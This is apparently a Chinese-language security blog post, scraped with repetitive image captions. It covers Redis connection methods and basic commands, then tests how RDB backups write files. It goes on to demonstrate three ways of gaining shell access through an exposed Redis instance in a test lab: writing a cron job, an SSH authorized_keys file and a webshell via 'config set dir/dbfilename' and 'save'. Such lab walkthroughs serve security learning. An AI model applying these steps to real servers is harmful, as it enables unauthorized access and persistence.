0x00 前言


国庆前的那篇文章我搭建好了redis的测试环境。 这篇文章介绍一下redis基本使用方法。 然后复现一下通过redis拿权限的一些常用利用方式。

0x01 连接方式


(1)在命令行下使用telnet连接redis

telnet是一个基本的远程登陆命令,在linux和windows下的安装方式都很简单,这里就不再赘述了。 > telnet  redis-server的ip地址  端口


telnet redis失败 telnet登录redis_centos super键是哪个


连接成功后页面会变空白

telnet redis失败 telnet登录redis_centos 复制文件夹_02


要注意连接后第一次输入的命令没有回显(类似linux输入密码),输完直接回车就行了。 输入 info

命令查看基本信息

telnet redis失败 telnet登录redis_centos 复制文件夹_03

quit

命令断开连接

telnet redis失败 telnet登录redis_centos 查看内存_04


有密码的情况下连接后用  

> auth 密码

命令进行登陆,否则无权限执行其他命令。 ping

命令在redis中用于检测连接是否成功,若成功redis-server会返回PONG。

telnet redis失败 telnet登录redis_centos 复制文件夹_05

(2)在命令行下使用redis-cli连接redis

linux下安装redis就会有redis-cli。

telnet redis失败 telnet登录redis_centos 复制文件夹_06


windows可以在这里下载: https://github.com/microsoftarchive/redis/releases

telnet redis失败 telnet登录redis_centos 查看内存_07


下载.zip解压后里面有redis-cli.exe

telnet redis失败 telnet登录redis_centos super键是哪个_08


首先cd到redis-cli所在目录,输入以下命令连接 (cmd)

redis-cli.exe

 

-h

 

redis-server的ip地址 

-p 

端口


telnet redis失败 telnet登录redis_centos 切换用户_09


redis-cli和telnet的区别是用tab键可以进行命令补全,交互性更佳

telnet redis失败 telnet登录redis_centos super键是哪个_10


有密码的情况下需要在连接后使用 > auth 密码

命令登陆,否则无权限执行其他命令

telnet redis失败 telnet登录redis_centos 切换用户_11


或者直接在连接时用 -a

参数指定密码(出于安全性考虑不推荐这么做)

telnet redis失败 telnet登录redis_centos 复制文件夹_12

(3)使用图形化工具AnotherRedisDesktopManager连接

下载地址https://github.com/qishibo/AnotherRedisDesktopManager/releases 使用方法略

0x02 redis常用命令


(1)配置相关

查看所有配置 >

config get 

*


telnet redis失败 telnet登录redis_centos super键是哪个_13


查看某个配置 >

config get 

配置名


telnet redis失败 telnet登录redis_telnet redis失败_14


修改配置 > config set 

配置名 新的配置值


telnet redis失败 telnet登录redis_telnet redis失败_15


一些需要注意的配置 dbfilename

(备份文件名) dir

(备份文件存放路径) rdbcompression

(备份时是否压缩数据) save

(自动备份相关配置) requirepass(redis登陆密码)

masterauth(主节点密码)

slaveof

(主节点位置) protected-mode

(安全模式) (2)Key相关

redis存储数据的方式是key-value,key可以理解为变量,value就是变量的值,redis可以存储很多个key。 redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。因为不是本文重点,这里我只演示最简单的string类型相关操作命令。 创建key >

set 

key名 key值

查看key值 >

get 

key名

删除key >

del 

key名

查找key >

KEYS 

匹配模式

清空所有数据 >

flushall


telnet redis失败 telnet登录redis_centos super键是哪个_16

(3)数据库相关

redis有0-15号共16个数据库(可以在配置文件中修改数量),每次连接后默认使用0号数据库 切换数据库 >

select

索引[0-15]


telnet redis失败 telnet登录redis_centos super键是哪个_17


查看当前库中key的数量 >

dbsize


telnet redis失败 telnet登录redis_centos super键是哪个_18


使用 info

命令可以看到每个库中key的数量

telnet redis失败 telnet登录redis_telnet redis失败_19


生产环境下使用 keys *

命令前最好先看一下数量,否则key太多全部读到内存中很可能导致服务直接挂掉。 flushall

命令会清空所有库中的内容,不管你当前在哪个库。 如果只是要清空当前库,请使用 flushdb

(4)备份相关

redis是内存型数据库,服务重启后所有数据就会丢失,redis 最初设计的目的就不 是用于持久性的数据存储。 但实际环境下有时需要进行redis数据的持久化,于是redis提供了【数据备份和恢复功能】,也就是这个功能成为了漏洞利用的切入点。

redis中本来有一些数据

telnet redis失败 telnet登录redis_telnet redis失败_20


在centos上用#

ps

aux

命令查看redis进程号

telnet redis失败 telnet登录redis_centos 复制文件夹_21


然后kill掉,再重新启动

telnet redis失败 telnet登录redis_centos super键是哪个_22


重新连接发现数据都不见了

telnet redis失败 telnet登录redis_centos super键是哪个_23


重新创建一些数据

telnet redis失败 telnet登录redis_centos 切换用户_24


查看配置中备份文件位置和文件名

telnet redis失败 telnet登录redis_telnet redis失败_25


输入命令 save

,即可看到文件已备份

telnet redis失败 telnet登录redis_centos super键是哪个_26


再次重启后发现数据没有丢失(redis重启后会自动读取配置文件中dir路径下的dbfilename指定的文件进行恢复)

telnet redis失败 telnet登录redis_centos 复制文件夹_27


配置文件:

telnet redis失败 telnet登录redis_telnet redis失败_28

0x03 备份文件内容的研究


清空数据库后备份

telnet redis失败 telnet登录redis_centos 查看内存_29


备份文件的内容(二进制文件需用 xxd

命令查看),可见备份文件除了会写入数据,还会写入一些其他内容,利用的时候需考虑到这一点

telnet redis失败 telnet登录redis_centos 切换用户_30


尝试备份php代码,发现key和value都可以成功写入,key在前value在后

telnet redis失败 telnet登录redis_centos super键是哪个_31

telnet redis失败 telnet登录redis_centos super键是哪个_32


尝试备份超长重复字符串,发现key和value都会被压缩,同时发现备份文件是覆盖写入的(之前的备份内容不见了)

telnet redis失败 telnet登录redis_centos super键是哪个_33

telnet redis失败 telnet登录redis_centos 复制文件夹_34


调整配置rdbcompression改为no,再次备份发现数据可以完整写入

telnet redis失败 telnet登录redis_centos super键是哪个_35

telnet redis失败 telnet登录redis_centos 复制文件夹_36


切换数据库后备份,发现备份的是所有库中的内容

telnet redis失败 telnet登录redis_centos 查看内存_37

telnet redis失败 telnet登录redis_centos super键是哪个_38

【结论】

1、备份会写入数据之外的内容,利用时需要被写文件有一定容错性。 2、需要关注一下备份的顺序(按key的字符顺序排列),比如之前如果人已经利用过写了webshell,而你的key备份在他后面,可能会导致你的webshell不生效。 3、备份前最好关闭压缩功能使数据可以完整写入。 4、暂未发现如何使redis备份单个库,通过切换库避免写入其他数据的方法不可行。

0x04 利用方式1:写计划任务


记录等下需要修改的配置项的值以便事后恢复(之后的其他利用方式皆如此)

config get 

dir

> config get

dbfilename

设置路径和文件名 > config set

dir /var/spool/cron/

> config set

dbfilename 用户名

新建一个key,值为需要执行的计划任务,注意前后都要加回车符号 > set  

key名 需要执行的计划任务内容

保存 > save


telnet redis失败 telnet登录redis_centos 查看内存_39


可以看到计划任务被成功写入

telnet redis失败 telnet登录redis_centos 复制文件夹_40

#

cat

/var/log/cron

查看日志看到计划任务成功执行(ip地址写错了,不要在意那些细节,能成功执行就行。。。)

telnet redis失败 telnet登录redis_centos super键是哪个_41

0x05 利用方式2:写ssh公钥


windows和linux下创建ssh公私钥的方式不同,因为不是本文重点所以这里只记录windows下的操作。 cmd下输入命令 ssh-keygen

,然后会提示选择位置、输入密码,全部回车就行了,会在默认位置下生成无需密码的ssh公私钥对。

telnet redis失败 telnet登录redis_centos 查看内存_42


默认位置为C:\Users\你的用户名\.ssh id_rsa

是私钥,自己保存好不要给任何人 id_rsa.pub

是公钥,是我们需要写到目标机器上的

telnet redis失败 telnet登录redis_telnet redis失败_43


用文本编辑器打开id_rsa.pub,删除最后面的用户名信息(灰色部分),然后复制下所有的内容

telnet redis失败 telnet登录redis_centos super键是哪个_44


设置目录时出错,debug发现centos上没有.ssh文件夹,redis只能写文件但是不能创建目录,所以这种情况下写公钥这种方法不可用

telnet redis失败 telnet登录redis_centos 切换用户_45


但我们的测试环境下可以手动给它生成一个.ssh目录,实际环境中大多数服务器上也是有此目录的。

telnet redis失败 telnet登录redis_centos 复制文件夹_46


然后设置路径和文件名 >

config set  

dir  /用户家目录/.ssh/

>

config set  

dbfilename  “authorized_keys”


telnet redis失败 telnet登录redis_centos super键是哪个_47


创建key,写入公钥内容(注意前后各加三个回车符\n)

telnet redis失败 telnet登录redis_centos 切换用户_48

save

后发现成功写入(之前写计划任务的payload忘了删也写进去了,不要在意。。。)

telnet redis失败 telnet登录redis_centos 切换用户_49


之后发现ssh连接不用输入密码即可登陆

telnet redis失败 telnet登录redis_centos 复制文件夹_50

0x06 利用方式3:写webshell


设置路径和文件名以及webshell的内容,然后 save

,已经很熟练了

telnet redis失败 telnet登录redis_telnet redis失败_51


查看webshell内容,至于为什么要在payload前后加回车是为了避免可能出现的吞字符现象

telnet redis失败 telnet登录redis_centos 复制文件夹_52


用 hackbar测试执行命令成功

telnet redis失败 telnet登录redis_centos 切换用户_53

0x07 后记


这周文章对redis如何使用以及一些常用的利用方式做了介绍和演示。 三种利用方式:

写计划任务,写ssh公钥,写webshell都可以获得运行redis的用户权限。具体使用哪一种要根据实际环境来选择。

不过其实我高估了自己的产出能力,已知的redis利用方式不止这些,受限于个人时间精力问题没能全部写出来。 不想给自己挖坑了,下周如果还写redis,我会补充剩下的利用方式,然后可能测试一下redis内已有大量数据的情况下利用方式是否可行。 不过也可能弃坑,写点别的东西,到底写什么只有下周的我才知道啦。毕竟干这一行的,看到什么都要学。

telnet redis失败 telnet登录redis_centos 切换用户_54

0x08 参考文献


https://www.runoob.com/redis/ https://www.freebuf.com/vuls/148758.html https://zhuanlan.zhihu.com/p/36529010 https://www.jianshu.com/p/2790a860f151

END.